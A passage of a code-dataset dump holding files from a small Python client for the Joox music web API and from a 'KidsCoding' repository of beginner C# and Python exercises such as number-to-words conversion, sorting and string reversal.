request.\")\r\n return json.loads(r.text)\r\n\r\n def getCategoryArtists(self, categoryId, limit=49, offset=0):\r\n params = dict(sin=offset, ein=limit, category_id=categoryId)\r\n\r\n r = self._get(self.prefix + \"/web_all_singer_list\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get category artists request.\")\r\n return json.loads(r.text)\r\n\r\n def getArtistTracks(self, singerId, limit=29, offset=0):\r\n params = dict(sin=offset, ein=limit, cmd=2, singerid=singerId)\r\n\r\n r = self._get(self.prefix + \"/web_album_singer\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get artist tracks request.\")\r\n return json.loads(r.text)\r\n\r\n def getArtistAlbums(self, singerId, limit=29, offset=0):\r\n params = dict(sin=offset, ein=limit, cmd=1, singerid=singerId)\r\n\r\n r = self._get(self.prefix + \"/web_album_singer\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get artist albums request.\")\r\n return json.loads(r.text)\r\n\r\n def getTrackLyric(self, musicId):\r\n params = dict(musicid=musicId)\r\n\r\n r = self._get(self.prefix + \"/web_lyric\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get track lyric request\")\r\n return json.loads(r.text)\r\n\r\n def getTrackInfo(self, songId):\r\n params = dict(songid=songId)\r\n\r\n r = self._get(self.prefix + \"/web_get_songinfo\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get track info request.\")\r\n return json.loads(r.text)\r\n"
},
{
"alpha_fraction": 0.556199312210083,
"alphanum_fraction": 0.5608342885971069,
"avg_line_length": 33.95833206176758,
"blob_id": "0766f42468555ae5098f67f6f671ec472cdc0df1",
"content_id": "d55fef2d91222b5c99cbf7fc337906206269fc67",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2589,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 72,
"path": "/jooxpy/auth.py",
"repo_name": "anggialberto/joox-py",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\n\r\nfrom .utils import *\r\nfrom datetime import datetime\r\n\r\nimport requests\r\nimport json\r\nimport os\r\n\r\n\r\nclass JooxAuthError(Exception):\r\n pass\r\n\r\n\r\nclass JooxAuth(object):\r\n\r\n AUTH_JOOX_URL = 'https://api-jooxtt.sanook.com/web-fcgi-bin/web_wmauth'\r\n DEFAULT_PARAMS = dict(country='id', lang='en')\r\n\r\n def __init__(self, email, password, cachePath=\"data/\"):\r\n self._email = email\r\n self._password = password\r\n if cachePath[-1] != '/':\r\n cachePath += \"/\"\r\n if not os.path.isdir(cachePath):\r\n os.makedirs(cachePath)\r\n self._cachePath = cachePath\r\n\r\n def isSessionExpired(self, userInfo):\r\n now = datetime.today()\r\n expiredTime = \"\".join(userInfo[\"expire_time\"].split()[\r\n 1:]).replace(\"GMT\", \"\")\r\n expireSession = datetime.strptime(expiredTime, \"%d%b%Y%H:%M:%S\")\r\n return expireSession <= now\r\n\r\n def getCachedUserInfo(self):\r\n with open(\"{}{}.json\".format(self._cachePath, self._email.split(\"@\")[0])) as f:\r\n userInfo = json.loads(f.read())\r\n if \"expire_time\" in userInfo:\r\n if self.isSessionExpired(userInfo):\r\n log(\"Session key is expired, will login again\")\r\n os.remove(\"{}{}.json\".format(\r\n self._cachePath, self._email.split(\"@\")[0]))\r\n log(\"Remove old user info file!\")\r\n return self.getUserInfo()\r\n return userInfo\r\n return None\r\n\r\n def _saveUserInfo(self, userInfo):\r\n try:\r\n with open(\"{}{}.json\".format(self._cachePath, self._email.split(\"@\")[0]), \"w\") as f:\r\n f.write(json.dumps(userInfo, indent=4))\r\n log(\"User info file has been saved!\")\r\n except IOError:\r\n log(\"couln't write user info cache to \" + self._cachePath)\r\n\r\n def getUserInfo(self):\r\n if os.path.exists(\"{}{}.json\".format(self._cachePath, self._email.split(\"@\")[0])):\r\n return self.getCachedUserInfo()\r\n newPassword = encryptPassword(self._password)\r\n params = dict(callback=\"callBackEmailAuth\", authtype=2,\r\n wxopenid=self._email, password=newPassword)\r\n params.update(self.DEFAULT_PARAMS)\r\n\r\n r = requests.get(self.AUTH_JOOX_URL, params=params)\r\n if r.status_code != 200:\r\n raise JooxAuthError(r.reason)\r\n userInfo = json.loads(parseJSONP(r.text))\r\n if \"nickname\" in userInfo:\r\n self._saveUserInfo(userInfo)\r\n return userInfo\r\n return None\r\n"
},
{
"alpha_fraction": 0.5083612203598022,
"alphanum_fraction": 0.5351170301437378,
"avg_line_length": 21,
"blob_id": "4fd83f833aa283c938685a9d6f1ffb52a839a1bb",
"content_id": "f9c01a7582d412ed667b511fc66e1788b1e9fe9b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 299,
"license_type": "permissive",
"max_line_length": 51,
"num_lines": 13,
"path": "/jooxpy/__about__.py",
"repo_name": "anggialberto/joox-py",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\n__copyright__ = 'Copyright 2019 by Anggi Alberto'\r\n__version__ = '1.0.0'\r\n__license__ = 'MIT'\r\n__author__ = 'Anggi Alberto'\r\n__author_email__ = '[email protected]'\r\n__url__ = 'https://github.com/albertoanggi/joox-py'\r\n\r\n__all__ = (\r\n '__version__'\r\n)\r\n"
},
{
"alpha_fraction": 0.7763158082962036,
"alphanum_fraction": 0.7763158082962036,
"avg_line_length": 37,
"blob_id": "9c02a600bf469eadcc316a1e369521a00576af33",
"content_id": "d017facec1f2535af03d06ac2aae1560d9b65d8a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 76,
"license_type": "permissive",
"max_line_length": 53,
"num_lines": 2,
"path": "/README.md",
"repo_name": "anggialberto/joox-py",
"src_encoding": "UTF-8",
"text": "# Joox Web API Python\nA simple and thin Python library for the Joox Web API\n"
},
{
"alpha_fraction": 0.6091703176498413,
"alphanum_fraction": 0.624454140663147,
"avg_line_length": 22.105262756347656,
"blob_id": "e2b49d1de14baf77067eb3bb644faf19f460b7aa",
"content_id": "5025a8723686cff3fb45c1cca0aa1809b000e92a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 458,
"license_type": "permissive",
"max_line_length": 51,
"num_lines": 19,
"path": "/jooxpy/utils.py",
"repo_name": "anggialberto/joox-py",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\nfrom datetime import datetime\r\n\r\nimport hashlib\r\nimport json\r\n\r\ndef encryptPassword(password):\r\n md5 = hashlib.md5()\r\n old_password = password.encode('utf-8')\r\n md5.update(old_password)\r\n new_password = md5.hexdigest()\r\n return new_password\r\n\r\ndef parseJSONP(data_jsonp):\r\n data_json = data_jsonp.split('(')[1].strip(')')\r\n return data_json\r\n\r\ndef log(text):\r\n print(\"[%s] %s\" % (str(datetime.now()), text))\r\n"
}
] | 5 |
guvijaya/KidsCoding | https://github.com/guvijaya/KidsCoding | 1f929aba8326e408d0f674aa87516f6237e5ec63 | 13e25a78652c0fbc909cdf6359b1d638325692dd | f2506166302bbee00e0205feabb9993bd837b27f | refs/heads/master | 2023-06-08T07:08:56.633545 | 2023-05-27T19:03:06 | 2023-05-27T19:03:06 | 297,762,790 | 2 | 0 | null | 2020-09-22T20:21:07 | 2021-02-21T09:38:16 | 2023-05-27T18:40:13 | C# | [
{
"alpha_fraction": 0.34983497858047485,
"alphanum_fraction": 0.39033904671669006,
"avg_line_length": 34.84946060180664,
"blob_id": "9501b30500235ffbd098d9a971efb1a450ae0fec",
"content_id": "e3e7ad881006cc4da4e0c489d11c9ddfa4260f11",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 3609,
"license_type": "no_license",
"max_line_length": 121,
"num_lines": 93,
"path": "/C#/006 InWords.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections;\n\nnamespace CSharp\n{\n class InWordsClass\n {\n public static void Demo()\n {\n int n3 = 472;\n string w3 = InWordsFor3Digit(n3);\n Console.WriteLine(n3);\n Console.WriteLine(w3);\n\n int num = 563464;\n string word = InWordsLong(num);\n Console.WriteLine(num);\n Console.WriteLine(word);\n }\n\n public static string InWordsLong(int num)\n {\n string[] pos = new string[] { \" Hundred \", \" Thousand \", \" Million \", \" Billion \", \" Trillion \" };\n if (num < 1000)\n {\n return InWordsFor3Digit(num);\n }\n else if (num < 1000000)\n {\n int part1 = (int)(num / 1000);\n int part2 = num % 1000;\n return InWordsFor3Digit(part1) + pos[1] + InWordsFor3Digit(part2);\n }\n else if (num < 1000000000)\n {\n int part1 = (int)(num / 1000000);\n int part2 = (int)(num / 1000) % 1000;\n int part3 = num % 1000;\n\n //Console.WriteLine($\" Part1={part1} Part2={part2} Part3={part3}\"); \n return InWordsFor3Digit(part1) + pos[2] + InWordsFor3Digit(part2) + pos[1] + InWordsFor3Digit(part3);\n }\n else\n {\n return \"I don't know\";\n }\n }\n private static string InWordsFor3Digit(int num)\n {\n string[] words = new string[] {\"Zero\",\"One\", \"Two\", \"Three\", \"Four\", \"Five\"\n , \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\"\n , \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\"\n , \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\"};\n\n // string[] words = new string[] {\"பூஜ்ஜியம்\",\"ஒன்று\",\"இரண்டு\",\"மூன்று\",\"நான்கு\",\"ஐந்து\"\n // ,\"ஆறு\",\"ஏழு\",\"எட்டு\",\"ஒன்பது\",\"பத்து\",\"பதிணொன்று\",\"பன்னிரண்டு\",\"பதிமூன்று\"\n // ,\"பதிநான்கு\",\"பதினைந்து\",\"பதினாறு\",\"பதினேழு\"\n // ,\"பதினெட்டு\",\"பத்தொன்பது\"};\n\n var tens = new string[] {\"\",\"\",\"Twenty\", \"Thirty\", \"Fourty\", \"Fifty\",\"Sixty\"\n ,\"Seventy\", \"Eighty\" ,\"Ninety\"};\n\n var hundreds = new string[] { \"Hundred\" };\n\n if (num >= 0 && num < 20)\n {\n return words[num];\n }\n else if (num < 100)\n {\n int digit1 = (int)(num / 10);\n int digit2 = num % 10;\n\n string ans = tens[digit1];\n if (digit2 != 0)\n ans = ans + \" \" + words[digit2];\n return ans;\n }\n else //100, 101, ... 158.... 999\n {\n int digit1 = (int)(num / 100);\n int digit2 = (int)(num / 10) % 10;\n int digit3 = num % 10;\n\n string ans = words[digit1] + \" \" + hundreds[0] + \" and \" + tens[digit2];\n if (digit3 != 0)\n ans = ans + \" \" + words[digit3];\n\n return ans;\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.40888887643814087,
"alphanum_fraction": 0.42592594027519226,
"avg_line_length": 19.1641788482666,
"blob_id": "27ede198c9be0aff10a039eed7f1735e86925d9b",
"content_id": "17a2d3eef464be97aac477a0615502ef14049942",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1512,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 67,
"path": "/C#/013 StackQueue.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections;\n\nnamespace CSharp\n{\n class StackQueueExample\n {\n //using System.Collections;\n public static void Demo()\n {\n // Last in first out\n Stack x = new Stack();\n\n x.Push(100);\n x.Push(200);\n x.Push(300);\n x.Push(400);\n\n பதிவுசெய்(x.Pop());\n பதிவுசெய்(x.Pop());\n பதிவுசெய்(x.Pop());\n பதிவுசெய்(x.Pop());\n\n Console.WriteLine(\"Queue\");\n\n // First in First Out\n Queue y = new Queue();\n\n y.Enqueue(100);\n y.Enqueue(200);\n y.Enqueue(400);\n y.Enqueue(50);\n\n பதிவுசெய்(y.Dequeue());\n பதிவுசெய்(y.Dequeue());\n பதிவுசெய்(y.Dequeue());\n பதிவுசெய்(y.Dequeue());\n }\n\n\n public static void பதிவுசெய்(object x)\n {\n Console.WriteLine(x);\n }\n\n public static void Print(object x)\n {\n Console.WriteLine(x);\n }\n\n public static void Print(double x)\n {\n Console.WriteLine(x);\n }\n\n public static void Print(int x)\n {\n Console.WriteLine(x);\n }\n\n public static void Print(string x)\n {\n Console.WriteLine(x);\n }\n\n }\n}"
},
{
"alpha_fraction": 0.46948355436325073,
"alphanum_fraction": 0.47652581334114075,
"avg_line_length": 25.102041244506836,
"blob_id": "6b80eab40434d37c6cb22f772f553a76c67469e9",
"content_id": "d33637a5b4aa745b961567ca9efc158a77240662",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1278,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 49,
"path": "/C#/014 StringReverse.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class StringReverse\n {\n public static string Reverse(string name)\n {\n char[] nameChArr = name.ToCharArray();\n\n // Reverse the Array\n for (int i = 0; i < (nameChArr.Length / 2); i++)\n {\n char tmp = nameChArr[i];\n nameChArr[i] = nameChArr[nameChArr.Length - 1 - i];\n nameChArr[nameChArr.Length - 1 - i] = tmp;\n }\n\n var n1 = new string(nameChArr); // char array to string\n\n return n1;\n }\n\n public static void Printing(string name)\n {\n char[] nameChArr = name.ToCharArray();\n\n Console.WriteLine(\"Forward\");\n for (int i = 0; i < nameChArr.Length; i++)\n Console.Write($\" {nameChArr[i]}\");\n\n Console.WriteLine(\"\\nReverse\");\n for (int i = nameChArr.Length - 1; i >= 0; i--)\n Console.Write($\" {nameChArr[i]}\");\n }\n\n public static void Demo()\n {\n Console.WriteLine(\"Enter a string\");\n\n // String \n string name = Console.ReadLine();\n var ans = Reverse(name);\n Console.WriteLine(ans);\n\n Printing(name);\n }\n }\n}"
},
{
"alpha_fraction": 0.5852910876274109,
"alphanum_fraction": 0.5883554816246033,
"avg_line_length": 27,
"blob_id": "4188f3577ece512f8f2b4b523fb8665e000c9658",
"content_id": "7d54d53bdcfa376d4d93b644cee1e09d6627ef9b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 979,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 35,
"path": "/Excercise/Python/OrganizeMe/classify.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import os\nfrom pathlib import Path\n# What is the diff between import and form .. import\n\n# Remember { } and : syntax\nSUBDIRECTORIES = {\n \"Documents\": [\".pdf\", \".doc\", \".txt\"],\n \"Audio\" : [\".mp3\", \".wav\", \".m4a\"],\n \"Video\" : [\".mov\", \".avi\", \".mp4\"],\n \"Images\" : [\".jpg\", \".jpeg\", \".png\"]\n}\n\ndef pickDirecotory(value):\n # Make a note of items method at the end.\n for Category, Extensions in SUBDIRECTORIES.items():\n for Extension in Extensions:\n if(Extension == value):\n return Category\n return \"MISC\"\n\ndef orgnizeDirectory():\n for item in os.scandir():\n if item.is_dir():\n continue\n filepath = Path(item)\n filetype = filepath.suffix.lower()\n directory = pickDirecotory(filetype)\n directoryPath = Path(directory)\n\n if directoryPath.is_dir() != True:\n directoryPath.mkdir()\n\n filepath.rename(directoryPath.joinpath(filepath))\n\norgnizeDirectory()"
},
{
"alpha_fraction": 0.4121900796890259,
"alphanum_fraction": 0.41425618529319763,
"avg_line_length": 23.846153259277344,
"blob_id": "e54377c78f9a1d15d672e1212debd91c204eec96",
"content_id": "a9b10b66ad04c4c495692936e5aaa43d101994ae",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 968,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 39,
"path": "/C#/011 ExceptionsExample.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharpExample\n{\n // Base Class\n public class ExceptionsExample\n {\n public static void Demo()\n {\n int a = 10;\n\n Console.WriteLine(\"Enter the number to divide:\");\n try\n {\n int b = int.Parse(Console.ReadLine());\n\n // code....\n Console.WriteLine(a / b);\n // other code\n }\n catch (DivideByZeroException abc)\n {\n try\n {\n Console.WriteLine(\"Looks like input is incorrect\");\n Console.WriteLine(abc.Message);\n }\n catch (Exception e)\n {\n Console.WriteLine($\"Error while handling exception {e.Message}\");\n }\n }\n catch (Exception ex)\n {\n Console.WriteLine(ex.Message);\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.4601420760154724,
"alphanum_fraction": 0.4672454595565796,
"avg_line_length": 28.488372802734375,
"blob_id": "1ad82c0c9fa93a163fceee78670ad00ea8eb0ce9",
"content_id": "c193830eef346fa591dcec8d1899f6476337e63e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1267,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 43,
"path": "/C#/007 SortingExample.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections.Generic;\nusing System.IO;\n\nnamespace CSharpExample\n{\n class SortingExample\n {\n\n public static void Demo()\n {\n // Declare variables\n const int ARRAY_SIZE = 20;\n int[] nums = new int[ARRAY_SIZE];\n\n // Assign random values\n Random rand = new Random();\n for (int i = 0; i < ARRAY_SIZE; i++) nums[i] = Math.Abs(rand.Next() % 100);\n\n // Print them\n for (int i = 0; i < ARRAY_SIZE; i++) Console.Write($\" {nums[i]}\");\n\n // SORTING\n for (int curpos = 0; curpos < ARRAY_SIZE; curpos++)\n {\n // minpos = Find minimum number's possition\n int minPos = curpos;\n for (int i = curpos; i < ARRAY_SIZE; i++)\n if (nums[i] < nums[minPos]) minPos = i;\n\n // swap nums[curpos] and nums[minpos]\n int t = nums[curpos];\n nums[curpos] = nums[minPos];\n nums[minPos] = t;\n }\n\n //Print sorted numbers\n Console.WriteLine(\"\\r\\nSorted Numbers are:\");\n for (int i = 0; i < ARRAY_SIZE; i++)\n Console.Write($\" {nums[i]}\");\n }\n }\n}"
},
{
"alpha_fraction": 0.3512786030769348,
"alphanum_fraction": 0.35845670104026794,
"avg_line_length": 27.96103858947754,
"blob_id": "920e6207b014caa486b3d58bc3aa3d8d3e5ce0b5",
"content_id": "aa8d767ea5990a07a8f1b74bc361adb3b2bc01ef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 2229,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 77,
"path": "/Excercise/CSharp/TheRecusriveStackProblem.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections;\nusing System.Collections.Generic;\n\nnamespace CSharp\n{\n public class TheRecusriveStackProblem\n {\n //https://www.youtube.com/watch?v=TUl1AsOfKP4&t=384s\n public static void Execute()\n {\n // (new parenthesis(\"()\")).PrintScore();\n // (new parenthesis(\"()()\")).PrintScore();\n // (new parenthesis(\"(()())\")).PrintScore();\n // (new parenthesis(\"((()))\")).PrintScore();\n (new parenthesis(\"((()())())\")).PrintScore();\n }\n\n class parenthesis\n {\n int[] en;\n string str;\n public parenthesis(string s)\n {\n en = new int[s.Length];\n str = s;\n }\n\n int go(int lo, int hi)\n { \n // When the width is just 2\n if (lo + 1 == hi) \n {\n Console.WriteLine($\"Base - Low: {lo} High: {hi}\");\n return 1;\n }\n\n // if current low points to end index 2x\n int mid = en[lo];\n if (mid == hi) \n {\n Console.WriteLine($\"Double Low: {lo} High: {hi}\");\n return 2 * go(lo + 1, hi - 1);\n }\n\n // divide\n Console.WriteLine($\"Add Low: {lo} High: {hi}\");\n return go(lo, mid) + go(mid + 1, hi);\n }\n\n public void PrintScore()\n {\n Console.WriteLine($\" {str} : {GetScore()}\");\n }\n\n public int GetScore()\n {\n var s = new Stack<int>();\n\n for (int i = 0; i < str.Length; i++)\n {\n if (str[i] == ')')\n {\n int t = s.Peek();\n en[t] = i;\n s.Pop();\n }\n else s.Push(i);\n }\n \n foreach (var item in en) Console.Write($\" {item}\"); \n Console.WriteLine();\n return go(0,str.Length-1);\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.440443217754364,
"alphanum_fraction": 0.4515235424041748,
"avg_line_length": 22.565217971801758,
"blob_id": "4a2df6e26bebeff3dc2217cabac0104f6ce1ec78",
"content_id": "183412440696d6ba32b4d910b002047739101c62",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1083,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 46,
"path": "/C#/010 InheritanceDemo.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharpExample\n{\n // Base Class\n public class InheritanceDemo\n {\n\n public static void DemoOp()\n {\n var x = new CSharpExample2.Square();\n var y = new CSharpExample2.Square();\n x.Side = 8;\n y.Side = 7;\n\n int i = 6;\n int j = 10;\n Console.WriteLine(i + j);\n\n // var z = x.Add(y);\n var z = x + y;\n\n Console.WriteLine(z.GetArea());\n }\n\n public static void Demo()\n {\n try\n {\n var x = new CSharpExample.Square(5);\n var y = new CSharpExample.Square(15);\n var z = new CSharpExample.Square(25);\n\n Console.WriteLine(CSharpExample.Square.ObjectCount);\n\n Console.WriteLine(x.GetArea());\n Console.WriteLine(y.GetArea());\n Console.WriteLine(z.GetArea());\n }\n catch (Exception ex)\n {\n Console.WriteLine(ex.Message);\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.4405762255191803,
"alphanum_fraction": 0.5132052898406982,
"avg_line_length": 28.75,
"blob_id": "ff6076658ad0115f2b41fd2562edfab0424b94dd",
"content_id": "99e4a5c258c8f19cb7be65899ffcc2b3067457c8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1666,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 56,
"path": "/Python/009 Num2Word.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# This program convers given numbers to words.\ndef InWordsLong(num):\n pos = [\" Hundred \", \" Thousand \", \" Million \", \" Billion \", \" Trillion \"]\n if(num < 1000):\n return InWords(num)\n elif(num < 1000000):\n part1 = int(num / 1000)\n part2 = num % 1000\n return InWords(part1) + pos[1] + InWords(part2)\n elif(num < 1000000000):\n part1 = int(num / 1000000)\n part2 = int(num / 1000) % 1000\n part3 = num % 1000\n\n print(part1)\n print(part2)\n print(part3)\n return InWords(part1) + pos[2] + InWords(part2) + pos[1] + InWords(part3)\n\n\ndef InWords(num):\n words = [\"Zero\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\",\n \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\"]\n\n tens = [\"\", \"\", \"Twenty\", \"Thirty\", \"Fourty\",\n \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\"]\n\n hundreds = [\"Hundred\"]\n\n if(num >= 0 and num < 20):\n return words[num]\n elif(num < 100):\n digit1 = int(num / 10)\n digit2 = num % 10\n\n ans = tens[digit1]\n if(digit2 != 0):\n ans = ans + \" \" + words[digit2]\n return ans\n else: # 100, 101, ... 158.... 999\n digit1 = int(num / 100)\n digit2 = int(num / 10) % 10\n digit3 = num % 10\n\n ans = words[digit1] + \" \" + hundreds[0] + \" and \" + tens[digit2]\n if(digit3 != 0):\n ans = ans + \" \" + words[digit3]\n return ans\n\n\nnum = int(input(\"Enter a number:\"))\n\nif(num < 0 or num >= 1000000000):\n print(\"I don't know\")\nelse:\n print(InWordsLong(num))\n"
},
{
"alpha_fraction": 0.4119516909122467,
"alphanum_fraction": 0.42403051257133484,
"avg_line_length": 28.69811248779297,
"blob_id": "b46d32e6150bea2a684d4366e472596325aeb383",
"content_id": "c614dcfcd9db64ad627f69ed8eb1e03ae1f0e810",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1573,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 53,
"path": "/C#/004 ArrayStats.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class ArrayStats\n {\n\n public static void Demo()\n {\n const int ARRAY_SIZE = 10;\n int[] nums = new int[ARRAY_SIZE];\n\n Random rand = new Random();\n for (int i = 0; i < ARRAY_SIZE; i++)\n nums[i] = Math.Abs(rand.Next() % 100);\n\n for (int i = 0; i < ARRAY_SIZE; i++)\n Console.Write($\" {nums[i]}\");\n\n // nums - contains 100;\n // MAX\n int secondMax = int.MinValue;\n int max = nums[0];\n int min = nums[0];\n int sum = 0;\n int count = 0;\n for (int i = 0; i < ARRAY_SIZE; i++)\n {\n sum = sum + nums[i];\n count = count + 1;\n\n if (max < nums[i])\n {\n // Before changing the max\n // Mark the existing max as send max\n if (secondMax < max) secondMax = max;\n\n max = nums[i];\n }\n\n if (secondMax < nums[i] && max > nums[i]) secondMax = nums[i];\n\n if (min > nums[i]) min = nums[i];\n }\n Console.WriteLine(\"\");\n Console.WriteLine($\"The max number is {max}\");\n Console.WriteLine($\"The 2nd max number is {secondMax}\");\n Console.WriteLine($\"The min number is {min}\");\n Console.WriteLine($\"The sum of number is {sum}\");\n Console.WriteLine($\"The avg of number is {(sum * 1.0) / count}\");\n }\n }\n}"
},
{
"alpha_fraction": 0.41109204292297363,
"alphanum_fraction": 0.42309892177581787,
"avg_line_length": 25.515151977539062,
"blob_id": "0d0a3249c07d0582c20991141fbe904133cd7fd7",
"content_id": "f8bda64a26245796c43935da1b70426bcca5c044",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1749,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 66,
"path": "/Excercise/CSharp/ArraySum.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n public class ArraySum\n {\n public static void Execute()\n {\n int[] input = {1,2,3,4};\n\n foreach (var item in input)\n Console.Write($\" {item}\");\n\n var output = ProductExceptSelfv2(input);\n \n Console.WriteLine(\"\\nResult:\"); \n foreach (var item in output)\n Console.Write($\" {item}\");\n }\n\n \n public static int[] ProductExceptSelfv2(int[] nums) {\n int[] output = new int[nums.Length];\n\n int[] left = new int[nums.Length];\n int[] right = new int[nums.Length];\n\n left[0] = 1;\n for(int i=1;i<nums.Length;i++)\n left[i] = left[i-1] * nums[i-1];\n\n right[nums.Length-1] = 1;\n for(int i=nums.Length-2;i>=0;i--)\n right[i] = right[i+1] * nums[i+1];\n\n for (int i = 0; i < nums.Length; i++)\n {\n output[i] = left[i] * right[i]; \n }\n\n Console.WriteLine(\"\\nLeft Array: \");\n foreach (var item in left)\n Console.Write($\"{item} \");\n \n Console.WriteLine(\"\\nRight Array: \");\n foreach (var item in right)\n Console.Write($\"{item} \");\n \n return output;\n }\n\n public static int[] ProductExceptSelf(int[] nums) {\n int[] output = new int[nums.Length];\n\n for(int i=0 ;i < nums.Length; i++)\n {\n output[i] = 1;\n for(int j=0;j< nums.Length; j++)\n if(i!=j)\n output[i] *= nums[j];\n }\n\n return output;\n }\n }\n}"
},
{
"alpha_fraction": 0.58984375,
"alphanum_fraction": 0.607421875,
"avg_line_length": 15.03125,
"blob_id": "9cedc385f14568b313022f70a25a4750177b0cdb",
"content_id": "a97e4b236b1989ace13aef67b27d068d619493cb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 512,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 32,
"path": "/Python/001 Hello World.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "print(\"Hello World\")\n\nx = 8 + 2\nprint(x)\n\n'''\n+ -> Addition\n- -> Subtraction\n* -> Mulitplication\n/ -> Division\n% -> Remainder\n** -> Expontation\n'''\n\nprint((7 + 9) * 2)\nprint(7 + 9 *2)\n\ny = \"Hello World!\"\nprint(y)\n\n# You can add strings. You can also us '' to make a string.\ny = y + ' I am new here!'\nprint(y)\n\n# This wouldn't work becuse of the quotes messing with the string\n# print(\"He said,\" My name is python\"\")\n\nprint(\"He said,\\\"My name is Python.\\\"\")\n\nprint(\"Hello %s\" %\"World!\")\n\nprint(\"Hello World!\" * 5)"
},
{
"alpha_fraction": 0.7021276354789734,
"alphanum_fraction": 0.7393617033958435,
"avg_line_length": 19.88888931274414,
"blob_id": "2ac1e892edbf5fd49e330b8fb433bd2aabcf9126",
"content_id": "3c15eea5a8c18699fc807096a9dcb7a8741fc8d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 188,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 9,
"path": "/Python/013 Dates.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import datetime\n\nduemonth = 1\nduedate = 18\n\nprint(datetime.date.today().year)\n\nx = datetime.date(datetime.date.today().year, duemonth, duedate)\n#x = datetime.date(2020, duemonth, duedate)\n"
},
{
"alpha_fraction": 0.5141176581382751,
"alphanum_fraction": 0.5152941346168518,
"avg_line_length": 27.33333396911621,
"blob_id": "5302db3411a0727d0f3c23bc06128fad9de06649",
"content_id": "b9d3506e3eb0e0d4fc152d20b5d7e274abab23bc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 852,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 30,
"path": "/C#/000 Program.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
